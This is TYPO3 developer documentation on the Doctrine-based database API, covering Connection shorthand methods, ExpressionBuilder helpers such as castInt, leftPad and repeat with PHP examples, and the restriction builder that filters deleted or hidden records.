publicfunctionfindSomething(){
// Here you can use $this->connection directly
}
}
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Parameter types
The parameter types are used in various places to bind values to types, for
example, when using named parameters in the
query builder:
// use TYPO3\CMS\Core\Database\Connection;
$queryBuilder->createNamedParameter(42, Connection::PARAM_INT);
The name of the table the row should be inserted. Required.
An associative array containing field/value pairs. The key is a field name,
the value is the value to be inserted. All keys are quoted to field names
and all values are quoted to string values. Required.
Specify how single values are quoted. This is useful if a date, number or
similar should be inserted. Optional.
The example below quotes the first value to an integer and the second one to
a string:
The name of the table the row should be inserted. Required.
An array of the values to be inserted. Required.
An array containing the column names of the data which should be inserted.
Optional.
Specify how single values are quoted. Similar to insert(); if omitted, everything will be quoted
to strings. Optional.
The number of inserted rows are returned. If something goes wrong, a
\Doctrine\DBAL\Exception is thrown.
Note
MySQL is quite forgiving when it comes to insufficient field quoting:
Inserting a string into an
int field does not cause an error and
MySQL adjusts internally. However, other DBMSes are not that relaxed and may raise errors. It is good practice to
specify field types for each field, especially if they are not strings.
Doing this immediately will reduce the number of bugs that occur when people
run your extension an anything else than MySQL.
update()
Create an
UPDATE statement and execute it. The example from FAL's
ResourceStorage sets a storage to offline:
An associative array containing field/value pairs to be updated. The key is
a field name, the value is the value. In SQL they are mapped to the
SET keyword. Required.
The update criteria as an array of key/value pairs. The key is the field
name, the value is the value. In SQL they are mapped in a
WHERE
keyword combined with
AND. Required.
Specify how single values are quoted. Similar to insert(); if omitted, everything will be quoted
to strings. Optional.
The method returns the number of updated rows. If something goes wrong, a
\Doctrine\DBAL\Exception is thrown.
Note
The third argument WHERE `foo` = 'bar' supports only equal =. For more
complex stuff the query builder must be used.
delete()
Execute a
DELETE query using equal conditions in
WHERE, example
from
BackendUtility, to mark rows as no longer locked by a user:
The delete criteria as an array of key/value pairs. The key is the field
name, the value is the value. In SQL they are mapped in a
WHERE
keyword combined with
AND. Required.
Specify how single values are quoted. Similar to insert(); if omitted, everything will be quoted
to strings. Optional.
The method returns the number of deleted rows. If something goes wrong, a
\Doctrine\DBAL\Exception is thrown.
Note
TYPO3 uses a "soft delete" approach for
many tables. Instead of deleting a row directly in the database, a field -
often called
deleted - is set from 0 to 1. Executing a
DELETE
query circumvents this and really removes rows from a table. For most
tables, it is better to use the DataHandler API
to handle deletions instead of executing such low-level queries directly.
truncate()
This method empties a table, removing all rows. It is usually much faster than
a delete() of all rows. This typically
resets "auto increment primary keys" to zero. Use with care:
The argument is the name of the table to be truncated. If something goes wrong,
a
\Doctrine\DBAL\Exception is thrown.
count()
This method executes a
COUNT query. Again, this becomes useful when very
simple
COUNT statements are to be executed. The example below returns the
number of active rows (not hidden or deleted or disabled by time) from the
table
tx_myextension_mytable whose
field
some_value field set to
$something:
The select criteria as an array of key/value pairs. The key is the field
name, the value is the value. In SQL they are mapped in a
WHERE
keyword combined with
AND. Required.
The method returns the counted rows.
Remarks:
Connection::count() returns the number directly as an integer, unlike
the method of the query builder it is not
necessary to call
->fetchColumns(0) or similar.
The third argument expects all
WHERE values to be strings, each
single expression is combined with
AND.
The restriction builder kicks in and
adds additional
WHERE conditions based on TCA settings.
Field names and values are quoted automatically.
If anything more complex than a simple equal condition on
WHERE is
needed, the query builder methods are the
better choice: next to select(),
the
->count() query is often the least useful method of the
Connection object.
select()
This method creates and executes a simple
SELECT query based on equal
conditions. Its usage is limited, the restriction builder kicks in and key/value pairs are automatically
quoted:
The columns of the table which to select as an array. Required.
The name of the table. Required.
The select criteria as an array of key/value pairs. The key is the field
name, the value is the value. In SQL they are mapped in a
WHERE
keyword combined with
AND. Optional.
The columns to group the results by as an array. In SQL they are mapped
in a
GROUP BY keyword. Optional.
An associative array of column name/sort directions pairs. In SQL they are
mapped in an
ORDER BY keyword. Optional.
The maximum number of rows to return. In SQL it is mapped in a
LIMIT
keyword. Optional.
The first result row to select (when used the maximum number of rows). In
SQL it is mapped in an
OFFSET keyword. Optional.
In contrast to the other short-hand methods,
->select() returns a
Result object ready for
->fetchAssociative() to
get single rows or for
->fetchAllAssociative() to get all rows at once.
Remarks:
For non-trivial
SELECT queries it is often better to switch to the
according method of the query builder
object.
The restriction builder adds default
WHERE restrictions. If these restrictions do not match the query
requirements, it is necessary to switch to the
QueryBuilder->select()
method for fine-grained
WHERE manipulation.
lastInsertId()
Changed in version 13.0
The method no longer accepts the table name as first argument and the
name of the auto-increment field as second argument.
This method returns the
uid of the last insert() statement. This is useful if the ID is to be used
directly afterwards:
The last inserted ID needs to be retrieved directly before inserting a
record to another table. That should be the usual workflow used in the wild
- but be aware of this.
createQueryBuilder()
The query builder should not be reused for
multiple different queries. However, sometimes it is convenient to first fetch a
connection object for a specific table and execute a simple query, and later
create a query builder for a more complex query from that connection object. The
usefulness of this method is limited, however, and at the time of writing no
good example could be found in the Core.
The method can also be useful in loops to save some precious code characters:
JSON-like objects or arrays are automatically serialized during writing a
dataset to the database, when the native JSON type was used in the database
schema definition.
By using the native database field declaration json in ext_tables.sql
file within an extension, TYPO3 converts arrays or objects of type
\JsonSerializable into a serialized JSON value in the database when
persisting such values via
Connection->insert() or
Connection->update() if no explicit DB types are handed in as additional
method argument.
TYPO3 now utilizes the native type mapping of Doctrine to convert special types
such as JSON database field types automatically for writing.
When reading a record from the database via QueryBuilder, it is still necessary
though to transfer the serialized value to an array or object doing custom
serialization.
ExpressionBuilder class is responsible to dynamically create SQL query parts.
It takes care building query conditions while ensuring table and column names
are quoted within the created expressions / SQL fragments. It is a facade to
the actual Doctrine ExpressionBuilder.
The ExpressionBuilder is used within the context of the QueryBuilder to ensure
queries are being build based on the requirements of the database platform in
use.
Basic usage
An instance of the ExpressionBuilder is retrieved from the
QueryBuilder object:
It is good practice not to assign an instance of the ExpressionBuilder to
a variable, but to use it directly within the code flow of the query builder
context:
Be aware to properly quote values identifiers and sub-expressions by using
QueryBuilder methods like
quote(),
quoteIdentifier or
createNamedParameter.
No automatic quoting will be applied.
It is of crucial importance to quote values correctly to not introduce SQL
injection attack vectors into your application. See the according
section of the query builder
for details.
Junctions
->and() conjunction
->or() disjunction
Combine multiple single expressions with
AND or
OR. Nesting is
possible, both methods are variadic and accept any number of arguments, which
are all combined. However, it usually makes little sense to pass zero or only
one argument.
Creates an equality comparison expression with the given arguments.
param $fieldName
The fieldname. Will be quoted according to database platform automatically.
param $value
The value. No automatic quoting/escaping is done.
Returns
string
neq(string $fieldName, ?mixed $value)
Creates a non equality comparison expression with the given arguments.
First argument is considered the left expression and the second is the right expression.
When converted to string, it will generate a <left expr> <> <right expr>. Example:
->like() and
->notLike() values must be additionally
quoted with a call to $queryBuilder->escapeLikeWildcards($value) to suppress the special
meaning of % characters from $value.
Aggregate functions used in
SELECT parts, often combined with
GROUP BY. The first argument is the field name (or table name / alias
with field name), the second argument is an optional alias.
Value, identifier or expression which should be aliased
param $asIdentifier
Alias identifier, default: ''
Return description
Returns aliased expression
Returns
string
Creates a statement to append a field alias to a value, identifier or sub-expression.
Note
Some
ExpressionBuilder methods (like
select() and
from()) provide an argument to directly add
the expression alias to reduce some nesting. This new method can be used for
custom expressions and avoids recurring conditional quoting and alias appending.
Returns the concatenation expression compatible with the database connection platform
Returns
string
Can be used to concatenate values, row field values or expression results into
a single string value.
The created expression is built on the proper platform-specific and preferred
concatenation method, for example
field1 || field2 || field3 || ...
for SQLite and
CONCAT(field1, field2, field3, ...) for other database vendors.
Warning
Be aware to properly quote values identifiers and sub-expressions by using
QueryBuilder methods like
quote(),
quoteIdentifier or
createNamedParameter.
No automatic quoting will be applied.
It is of crucial importance to quote values correctly to not introduce SQL
injection attack vectors into your application. See the according
section of the query builder
for details.
Quoted value or expression result which should be cast to integer type
param $asIdentifier
Optionally add a field identifier alias (AS), default: ''
Return description
Returns the integer cast expression compatible with the connection database platform
Returns
string
Can be used to create an expression which converts a value, row field value or
the result of an expression to signed integer type.
Uses the platform-specific preferred way for casting to dynamic length
character type, which means
CAST("value" AS INTEGER) for most database vendors
except PostgreSQL. For PostgreSQL the
"value"::INTEGER cast notation
is used.
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\Domain\Repository;
useTYPO3\CMS\Core\Database\ConnectionPool;
finalclassMyTableRepository{
privateconst TABLE_NAME = 'my_table';
publicfunction__construct(private readonly ConnectionPool $connectionPool){}
publicfunctiondemonstrateCastInt(): void{
$queryBuilder = $this->connectionPool
->getQueryBuilderForTable(self::TABLE_NAME);
$queryBuilder
->select('uid')
->from('pages');
// simple value (quoted) to be used as sub-expression
$expression1 = $queryBuilder->expr()->castInt(
$queryBuilder->quote('123'),
);
// simple value (quoted) to return as select field
$queryBuilder->addSelectLiteral(
$queryBuilder->expr()->castInt(
$queryBuilder->quote('123'),
'virtual_field',
),
);
// cast the contents of a specific field to integer
$expression3 = $queryBuilder->expr()->castInt(
$queryBuilder->quoteIdentifier('uid'),
);
// expression to be used as sub-expression
$expression4 = $queryBuilder->expr()->castInt(
$queryBuilder->expr()->castVarchar('(1 * 10)'),
);
// expression to return as select field
$queryBuilder->addSelectLiteral(
$queryBuilder->expr()->castInt(
$queryBuilder->expr()->castVarchar('(1 * 10)'),
'virtual_field',
),
);
}
}
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ExpressionBuilder::castText()
New in version 13.3
Can be used to create an expression which converts a value, row field value or
the result of an expression to type TEXT or a large `VARCHAR, depending on the
database system in use.
Casting is done to large
VARCHAR/CHAR types using the
CAST/CONVERT
or similar methods based on the used database engine.
Warning
Be aware to properly quote values identifiers and sub-expressions by using
QueryBuilder methods like
quote(),
quoteIdentifier or
createNamedParameter.
No automatic quoting will be applied.
It is of crucial importance to quote values correctly to not introduce SQL
injection attack vectors into your application. See the according
section of the query builder
for details.
castVarchar(string $value, int $length = 255, string $asIdentifier = '')
param $value
Unquoted value or expression, which should be cast
param $length
Dynamic varchar field length, default: 255
param $asIdentifier
Used to add a field identifier alias (AS) if non-empty string (optional), default: ''
Return description
Returns the cast expression compatible for the database platform
Returns
string
Can be used to create an expression which converts a value, row field value or
the result of an expression to varchar type with dynamic length.
Uses the platform-specific preferred way for casting to dynamic length
character type, which means
CAST("value" AS VARCHAR(<LENGTH>))
or
CAST("value" AS CHAR(<LENGTH>)) is used, except for PostgreSQL.
For PostgreSQL the
"value"::INTEGER cast notation is used.
Warning
Be aware to properly quote values identifiers and sub-expressions by using
QueryBuilder methods like
quote(),
quoteIdentifier or
createNamedParameter.
No automatic quoting will be applied.
It is of crucial importance to quote values correctly to not introduce SQL
injection attack vectors into your application. See the according
section of the query builder
for details.
This method is used for "if-then-else" expressions. These are
translated into
IF or
CASE statements depending on the
database engine in use.
Warning
No automatic quoting or escaping is done for the condition and true/false
part. Extension authors need to ensure proper quoting for each part or use
API calls for doing the quoting, for example the
\TYPO3\CMS\Core\Database\Query\Expression\CompositeExpression or
ExpressionBuilder calls.
Integer value or expression providing the length as integer
param $value
Value, identifier or expression defining the value to extract from the left
param $asIdentifier
Provide AS identifier if not empty, default: ''
Return description
Return the expression to extract defined substring from the right side.
Returns
string
Extract
$length characters of
$value from the left side.
Creates a
LEFT("value", number_of_chars) expression for all supported
database vendors except SQLite, where
substring("value", start[, number_of_chars])
is used to provide a compatible expression.
Tip
For other sub string operations,
\Doctrine\DBAL\Platforms\AbstractPlatform::getSubstringExpression()
can be used. Synopsis:
getSubstringExpression(string $string, string $start, ?string $length = null): string.
Left-pad the value or sub-expression result with
$paddingValue, to a total
length of
$length.
SQLite does not support
LPAD("value", length, "paddingValue"), therefore a
more complex compatible replacement expression construct is created.
Warning
Be aware to properly quote values identifiers and sub-expressions by using
QueryBuilder methods like
quote(),
quoteIdentifier or
createNamedParameter.
No automatic quoting will be applied.
It is of crucial importance to quote values correctly to not introduce SQL
injection attack vectors into your application. See the according
section of the query builder
for details.
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\Domain\Repository;
useTYPO3\CMS\Core\Database\ConnectionPool;
finalclassMyTableRepository{
privateconst TABLE_NAME = 'tt_content';
publicfunction__construct(private readonly ConnectionPool $connectionPool){}
publicfunctiondemonstrateLeftPad(): void{
$queryBuilder = $this->connectionPool
->getQueryBuilderForTable(self::TABLE_NAME);
// Left-pad "123" with "0" to an amount of 10 times, resulting in "0000000123"
$expression1 = $queryBuilder->expr()->leftPad(
$queryBuilder->quote('123'),
10,
'0',
);
// Left-pad contents of the "uid" field with "0" to an amount of 10 times, a uid=1 would return "0000000001"
$expression2 = $queryBuilder->expr()->leftPad(
$queryBuilder->expr()->castVarchar($queryBuilder->quoteIdentifier('uid')),
10,
'0',
);
// Sub-expression to left-pad the concated string result ("1" + "2" + "3") up to 10 times with 0, resulting in "0000000123".
$expression3 = $queryBuilder->expr()->leftPad(
$queryBuilder->expr()->concat(
$queryBuilder->quote('1'),
$queryBuilder->quote('2'),
$queryBuilder->quote('3'),
),
10,
'0',
);
// Left-pad the result of sub-expression casting "1123" to a string,// resulting in "0000001123".
$expression4 = $queryBuilder->expr()->leftPad(
$queryBuilder->expr()->castVarchar('( 1123 )'),
10,
'0',
);
// Left-pad the result of sub-expression casting "1123" to a string,// resulting in "0000001123" being assigned to "virtual_field"
$expression5 = $queryBuilder->expr()->leftPad(
$queryBuilder->expr()->castVarchar('( 1123 )'),
10,
'0',
'virtual_field',
);
}
}
Statement or value defining how often the $value should be repeated. Proper quoting must be ensured.
param $value
Value which should be repeated. Proper quoting must be ensured
param $asIdentifier
Provide AS identifier if not empty, default: ''
Return description
Returns the platform compatible statement to create the x-times repeated value
Returns
string
Create a statement to generate a value repeating defined
$value for
$numberOfRepeats times. This method can be used to provide the
repeat number as a sub-expression or calculation.
REPEAT("value", numberOfRepeats) is used to build this expression for all database
vendors except SQLite for which the compatible replacement construct expression
REPLACE(PRINTF('%.' || <valueOrStatement> || 'c', '/'),'/', <repeatValue>)
is used, based on
REPLACE() and the built-in
printf().
Warning
Be aware to properly quote values identifiers and sub-expressions by using
QueryBuilder methods like
quote(),
quoteIdentifier or
createNamedParameter.
No automatic quoting will be applied.
It is of crucial importance to quote values correctly to not introduce SQL
injection attack vectors into your application. See the according
section of the query builder
for details.
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\Domain\Repository;
useTYPO3\CMS\Core\Database\ConnectionPool;
finalclassMyTableRepository{
privateconst TABLE_NAME = 'pages';
publicfunction__construct(private readonly ConnectionPool $connectionPool){}
publicfunctiondemonstrateRepeat(): void{
$queryBuilder = $this->connectionPool
->getQueryBuilderForTable(self::TABLE_NAME);
// Repeats "." 10 times, resulting in ".........."
$expression1 = $queryBuilder->expr()->repeat(
10,
$queryBuilder->quote('.'),
);
// Repeats "0" 20 times and allows to access the field as "aliased_field" in query / result
$expression2 = $queryBuilder->expr()->repeat(
20,
$queryBuilder->quote('0'),
$queryBuilder->quoteIdentifier('aliased_field'),
);
// Repeat contents of field "table_field" 20 times and makes it available as "aliased_field"
$expression3 = $queryBuilder->expr()->repeat(
20,
$queryBuilder->quoteIdentifier('table_field'),
$queryBuilder->quoteIdentifier('aliased_field'),
);
// Repeate database field "table_field" the number of times that is cast to integer from the field "repeat_count_field" and make it available as "aliased_field"
$expression4 = $queryBuilder->expr()->repeat(
$queryBuilder->expr()->castInt(
$queryBuilder->quoteIdentifier('repeat_count_field'),
),
$queryBuilder->quoteIdentifier('table_field'),
$queryBuilder->quoteIdentifier('aliased_field'),
);
// Repeats the character "." as many times as the result of the expression "7+3" (10 times)
$expression5 = $queryBuilder->expr()->repeat(
'(7 + 3)',
$queryBuilder->quote('.'),
);
// Repeat 10 times the result of a concatenation expression (".") and make it available as "virtual_field_name"
$expression6 = $queryBuilder->expr()->repeat(
'(7 + 3)',
$queryBuilder->expr()->concat(
$queryBuilder->quote(''),
$queryBuilder->quote('.'),
$queryBuilder->quote(''),
),
'virtual_field_name',
);
}
}
Integer value or expression providing the length as integer
param $value
Value, identifier or expression defining the value to extract from the left
param $asIdentifier
Provide AS identifier if not empty, default: ''
Return description
Return the expression to extract defined substring from the right side
Returns
string
Extract
$length characters of
$value from the right side.
Creates a
RIGHT("value", length) expression for all supported
database vendors except SQLite, where
substring("value", start_of_string[, length])
is used to provide a compatible expression.
Warning
Be aware to properly quote values identifiers and sub-expressions by using
QueryBuilder methods like
quote(),
quoteIdentifier or
createNamedParameter.
No automatic quoting will be applied.
It is of crucial importance to quote values correctly to not introduce SQL
injection attack vectors into your application. See the according
section of the query builder
for details.
Right-pad the value or sub-expression result with
$paddingValue, to a
total length of
$length.
SQLite does not support
RPAD("value", length, "paddingValue"), therefore a
more complex compatible replacement expression construct is created.
Warning
Be aware to properly quote values identifiers and sub-expressions by using
QueryBuilder methods like
quote(),
quoteIdentifier or
createNamedParameter.
No automatic quoting will be applied.
It is of crucial importance to quote values correctly to not introduce SQL
injection attack vectors into your application. See the according
section of the query builder
for details.
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\Domain\Repository;
useTYPO3\CMS\Core\Database\ConnectionPool;
finalclassMyTableRepository{
privateconst TABLE_NAME = 'pages';
publicfunction__construct(private readonly ConnectionPool $connectionPool){}
publicfunctiondemonstrateRightPad(): void{
$queryBuilder = $this->connectionPool
->getQueryBuilderForTable(self::TABLE_NAME);
// Right-pad the string "123" up to ten times with "0", resulting in "1230000000"
$expression1 = $queryBuilder->expr()->rightPad(
$queryBuilder->quote('123'),
10,
'0',
);
// Right-pad the cnotents of field "uid" up to ten times with 0, for uid=1 results in "1000000000".
$expression2 = $queryBuilder->expr()->rightPad(
$queryBuilder->expr()->castVarchar($queryBuilder->quoteIdentifier('uid')),
10,
'0',
);
// Right-pad the results of concatenating "1" + "2" + "3" ("123") up to 10 times with 0, resulting in "1230000000"
$expression3 = $queryBuilder->expr()->rightPad(
$queryBuilder->expr()->concat(
$queryBuilder->quote('1'),
$queryBuilder->quote('2'),
$queryBuilder->quote('3'),
),
10,
'0',
);
// Left-pad the result of sub-expression casting "1123" to a string,// resulting in "1123000000""
$expression4 = $queryBuilder->expr()->rightPad(
$queryBuilder->expr()->castVarchar('( 1123 )'),
10,
'0',
);
// Right-pad the string "123" up to 10 times with "0" and make the result ("1230000000") available as "virtual_field"
$expression5 = $queryBuilder->expr()->rightPad(
$queryBuilder->quote('123'),
10,
'0',
'virtual_field',
);
}
}
Statement or value defining how often a space should be repeated. Proper quoting must be ensured.
param $asIdentifier
Provide AS identifier if not empty, default: ''
Return description
Returns the platform compatible statement to create the x-times repeated space(s).
Returns
string
Create a statement containing
$numberOfSpaces space characters.
The
SPACE(numberOfSpaces) expression is used for MariaDB and MySQL and
ExpressionBuilder::repeat() expression as fallback for PostgreSQL
and SQLite.
Warning
Be aware to properly quote values identifiers and sub-expressions by using
QueryBuilder methods like
quote(),
quoteIdentifier or
createNamedParameter.
No automatic quoting will be applied.
It is of crucial importance to quote values correctly to not introduce SQL
injection attack vectors into your application. See the according
section of the query builder
for details.
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\Domain\Repository;
useTYPO3\CMS\Core\Database\ConnectionPool;
finalclassMyTableRepository{
privateconst TABLE_NAME = 'pages';
publicfunction__construct(private readonly ConnectionPool $connectionPool){}
publicfunctiondemonstrateSpace(): void{
$queryBuilder = $this->connectionPool
->getQueryBuilderForTable(self::TABLE_NAME);
// Returns " " (10 space characters)
$expression1 = $queryBuilder->expr()->space(
'10',
);
// Returns " " (10 space characters) and makes available as "aliased_field"
$expression2 = $queryBuilder->expr()->space(
'20',
$queryBuilder->quoteIdentifier('aliased_field'),
);
// Return amount of space characters based on calculation (10 spaces)
$expression3 = $queryBuilder->expr()->space(
'(7+2+1)',
);
// Return amount of space characters based on a fixed value (210 spaces) and make available as "aliased_field"
$expression3 = $queryBuilder->expr()->space(
'(210)',
$queryBuilder->quoteIdentifier('aliased_field'),
);
// Return a space X times, where X is the contents of the field table_repeat_number_field
$expression5 = $queryBuilder->expr()->space(
$queryBuilder->expr()->castInt(
$queryBuilder->quoteIdentifier('table_repeat_number_field'),
),
);
$expression6 = $queryBuilder->expr()->space(
$queryBuilder->expr()->castInt(
$queryBuilder->quoteIdentifier('table_repeat_number_field'),
),
$queryBuilder->quoteIdentifier('aliased_field'),
);
}
}
Either constant out of LEADING, TRAILING, BOTH, default: DoctrineDBALPlatformsTrimMode::UNSPECIFIED
param $char
Character to be trimmed (defaults to space), default: NULL
Returns
string
Using the
->trim() expression ensures that the fields are trimmed at the
database level. The following examples give a better idea of what is possible:
Database tables in TYPO3 that can be managed in the backend have TCA definitions that specify how single fields and rows of the table
should be handled and displayed by the framework.
The ctrl section of a table's TCA array specifies optional framework-internal
handling of soft deletes and language overlays: For instance, when a row is
deleted in the backend using the page or list module, many tables are configured
to not drop that row entirely from the table, but to set a field (often
deleted) for that row from 0 to 1. Similar mechanisms apply for start and
end times, and to language and workspace overlays as well. See the
Table properties (ctrl) chapter in the TCA reference for details on this topic.
However, these mechanisms come at a price: developers of extensions dealing with
low-level queries must take care that overlaid or deleted rows are not included
in the result set of a simple query.
This is where this "automatic restriction" enters the picture: The construct is
created on top of native Doctrine DBAL as a
TYPO3-specific extension. It automatically adds WHERE expressions that
suppress rows which are marked as deleted or have exceeded their "active"
lifecycle. All this is based on the TCA configuration of the affected table.
Rationale
A developer might ask why they need to do all this to themselves, and why this
extra material is added on top of a low-level query layer when "just a simple
query" should be fired. The construct implements some important design goals:
Simple:
Query creation should be easy to handle without a developer having to deal too
much with the tedious TCA details..
Cope with developer laziness:
If the framework would force a developer to always add casual restrictions
for every single query, this is easy to forget. We are all lazy, aren't we?
Security:
When in doubt, it is better to show a little too little than too much. It is
much better to deal with a customer complaining that some records are not
displayed than to show too many records. The former is "just a bug", while
the latter can easily lead to a serious privilege escalation security issue.
Automatic query upgrades:
If a table was originally designed without a soft delete and a delete flag
is later added and registered in TCA, queries executed on that table will
automatically upgrade and the according
deleted = 0 restriction will
be added.
Handing over restriction details to the framework:
Having the restriction expressions handled by the framework gives it the
ability to change details without breaking the extension code. This may well
happen in the future, and a happy little upgrade path for such cases may
prove very useful later.
Flexibility:
The class construct is designed in a way so that developers can extend or
or substitute it with their own restrictions if that makes sense for
modeling the domain in question.
Main construct
The restriction builder is called whenever a
SELECT or
COUNT
query is executed using either
\TYPO3\CMS\Core\Database\Query\QueryBuilder
or
\TYPO3\CMS\Core\Database\Connection . The QueryBuilder allows manipulation of those restrictions, while the
simplified Connection class does not. When a query
deals with multiple tables in a join, restrictions are added for all affected
tables.
Each single restriction such as a
\TYPO3\CMS\Core\Database\Query\Restriction\DeletedRestriction or a
\TYPO3\CMS\Core\Database\Query\Restriction\StartTimeRestriction is modeled
as a single class that implements the
\TYPO3\CMS\Core\Database\Query\Restriction\QueryRestrictionInterface . Each
restriction looks up in TCA whether it should be applied. If so, the
according expressions are added to the
WHERE clause when compiling the
final statement.
Multiple restrictions can be grouped into containers which implement the
\TYPO3\CMS\Core\Database\Query\Restriction\QueryRestrictionContainerInterface .
The
\TYPO3\CMS\Core\Database\Query\Restriction\DefaultRestrictionContainer
is always added by default: It adds the
Note that this applies to all contexts in which a query is executed: It does not
matter whether a query is created from a frontend, a backend, or a
CLI call, they all add the
DefaultRestrictionContainer unless explicitly stated otherwise by an
extension developer.
Note
Having this
DefaultRestrictionContainer used everywhere is the second
iteration of this code construct:
The first variant automatically added contextual restrictions. For instance,
a query triggered by a call in the backend did not add the hidden flag,
while a query triggered in the frontend did. We quickly figured out that
this leads to a huge mess: The distinction between frontend, backend and CLI
is not that sharp in TYPO3, so for example the frontend behaves much more
like a backend call when using the admin panel.
The currently active variant is much easier: It always adds sane defaults
everywhere, a developer only has to deal with details if they do not fit.
The Core Team hopes that this approach is a good balance between hidden
magic, security, transparency, and convenience.
The workspace restriction limits an SQL query to only select records which
are "online" and in live or current workspace.
Note
As an important note and limitation of any workspace-related restrictions,
fetching the exact records need to be handled after the SQL results are
fetched, by overlaying the records with
\TYPO3\CMS\Backend\Utility\BackendUtility::getRecordWSOL(),
\TYPO3\CMS\Core\Domain\Repository\PageRepository->versionOL() or
\TYPO3\CMS\Core\DataHandling\PlainDataResolver .
When a restriction needs to be enforced, a restriction could implement the
interface \TYPO3\CMS\Core\Database\Query\Restriction\EnforceableQueryRestrictionInterface.
If a restriction implements
EnforceableQueryRestrictionInterface, the
following applies:
->removeAll() will remove all restrictions except the ones that
implement the interface
EnforceableQueryRestrictionInterface.
->removeByType() will remove a restriction completely, also
restrictions that implement the interface
EnforceableQueryRestrictionInterface.
This container should be added by a developer to a query when creating
query statements in frontend context or when handling frontend stuff from
within CLI calls.
This restriction container applies added restrictions only to the given
table aliases. See Limit restrictions to tables for more
information. Enforced restrictions are treated equally to all other
restrictions.
Limit restrictions to tables
With
\TYPO3\CMS\Core\Database\Query\Restriction\LimitToTablesRestrictionContainer
it is possible to apply restrictions to a query only for a given set of tables,
or - to be precise - table aliases. Since it is a restriction container, it can
be added to the restrictions of the query builder and can hold restrictions
itself.
Examples
If you want to apply one or more restrictions to only one table, that is
possible as follows. Let us say you have content in the
tt_content table
with a relation to categories. Now you want to get all records with their
categories except those that are hidden. In this case, the hidden restriction
should apply only to the
tt_content table, not to the
sys_category
or
sys_category_*_mm table.
SELECT"c1".*
FROM"tt_content""c1"LEFTJOIN"tt_content""c2"ON c1.parent_field = c2.uid
WHERE (("c2"."uid"ISNULL) OR ("c2"."pid" = 1))
AND ("c2"."hidden" = 0))
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Custom restrictions
It is possible to add additional query restrictions by adding class names as key
to
$GLOBALS['TYPO3_CONF_VARS']['DB']['additionalQueryRestrictions'] .
These restriction objects will be added to any select query executed using the
QueryBuilder.
If these added restriction objects additionally implement
\TYPO3\CMS\Core\Database\Query\Restriction\EnforceableQueryRestrictionInterface
and return
true in the to be implemented method
isEnforced(),
calling
$queryBuilder->getRestrictions()->removeAll() such restrictions
will still be applied to the query.
If an enforced restriction must be removed, it can still be removed with
$queryBuilder->getRestrictions()->removeByType(SomeClass::class).
Implementers of custom restrictions can therefore have their restrictions always
enforced, or even not applied at all, by returning an empty expression in certain cases.
To add a custom restriction class, use the following snippet:
The class name must be the array key and the value must always be an array,
which is reserved for options given to the restriction objects.
Attention
Restrictions added by third-party extensions will impact the whole system.
Therefore this API does not allow removing restrictions added by the system
and adding restrictions should be handled with care.
Removing third party restrictions is possible, by setting the option
disabled for a restriction to
true in global TYPO3 configuration
or ext_localconf.php of an extension:
Often the default restrictions are sufficient. Nothing needs to be done in those
cases.
However, many backend modules still want to show disabled records and remove the
start time and end time restrictions to allow administration of those records
for an editor. A typical setup from within a backend module:
EXT:some_extension/Classes/SomeClass.php
// use TYPO3\CMS\Core\Utility\GeneralUtility;// use TYPO3\CMS\Core\Database\Connection;// use TYPO3\CMS\Core\Database\ConnectionPool;// use TYPO3\CMS\Core\Database\Query\Restriction\DeletedRestriction// SELECT `uid`, `bodytext` FROM `tt_content` WHERE (`pid` = 42) AND (`tt_content`.`deleted` = 0)
$queryBuilder = $this->connectionPool->getQueryBuilderForTable('tt_content');
// Remove all restrictions but add DeletedRestriction again
$queryBuilder
->getRestrictions()
->removeAll()
->add(GeneralUtility::makeInstance(DeletedRestriction::class));
$result = $queryBuilder
->select('uid', 'bodytext')
->from('tt_content')
->where($queryBuilder->expr()->eq(
'pid',
$queryBuilder->createNamedParameter($pid, Connection::PARAM_INT)
))
->executeQuery()
->fetchAllAssociative(();
The
DeletedRestriction should be kept in almost all cases. Usually, the
only extension that dismisses that flag is the recycler module to list and
resurrect deleted records. Any object implementing the
QueryRestrictionInterface can be given to
->add(). This allows
extensions to deliver own restrictions.
An alternative to the recommended way of first removing all restrictions and
then adding needed ones again (using
->removeAll(), then
->add())
is to kick specific restrictions with a call to
->removeByType():
EXT:some_extension/Classes/SomeClass.php
// use TYPO3\CMS\Core\Utility\GeneralUtility;// use TYPO3\CMS\Core\Database\ConnectionPool;// use TYPO3\CMS\Core\Database\Query\Restriction\StartTimeRestriction// use TYPO3\CMS\Core\Database\Query\Restriction\EndTimeRestriction// Remove starttime and endtime, but keep hidden and deleted
$queryBuilder = $this->connectionPool->getQueryBuilderForTable('tt_content');
$queryBuilder
->getRestrictions()
->removeByType(StartTimeRestriction::class)
->removeByType(EndTimeRestriction::class);
In the frontend it is often needed to swap the
DefaultRestrictionContainer
with the
FrontendRestrictionContainer:
EXT:some_extension/Classes/SomeClass.php
// use TYPO3\CMS\Core\Database\Query\Restriction\FrontendRestrictionContainer// Remove default restrictions and add list of default frontend restrictions
$queryBuilder->setRestrictions(GeneralUtility::makeInstance(FrontendRestrictionContainer::class));
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Note that
->setRestrictions() resets any previously specified
restrictions. Any class instance implementing
QueryRestrictionContainerInterface can be given to
->setRestrictions(). This allows extensions to deliver and use an custom
set of restrictions for own query statements if needed.
Tip
It can be very helpful to debug the final statements created by the
RestrictionBuilder using
debug($queryBuilder->getSQL()) right
before the final call to
$queryBuilder->executeQuery(). Just take
care these calls do notend up in production code.
The return type of single field values is not type safe! If you select a
value from a field that is defined as
INT, the
Result result
may very well return that value as a PHP
string. This is also true
for other database column types like
FLOAT,
DOUBLE and others.
This is an issue with the database drivers used underneath. It may happen
that MySQL returns an integer value for an
INT field, while others
may return a string. In general, the application itself must take care of an
according type cast to achieve maximum DBMS compatibility.
fetchAssociative()
This method fetched the next row from the result. It is usually used in
while() loops. This is the recommended way of accessing the result in
most use cases.
// use TYPO3\CMS\Core\Database\Connection// Fetch all records from tt_content on page 42
$queryBuilder = $this->connectionPool->getQueryBuilderForTable('tt_content');
$result = $queryBuilder
->select('uid', 'bodytext')
->from('tt_content')
->where(
$queryBuilder->expr()->eq(
'pid',
$queryBuilder->createNamedParameter(42, Connection::PARAM_INT)
)
)
->executeQuery();
while ($row = $result->fetchAssociative()) {
// Do something useful with that single $row
}
->fetchAssociative() returns an array reflecting one result row with
field/value pairs in one call and retrieves the next row with the next call.
It returns
false when no more rows can be found.
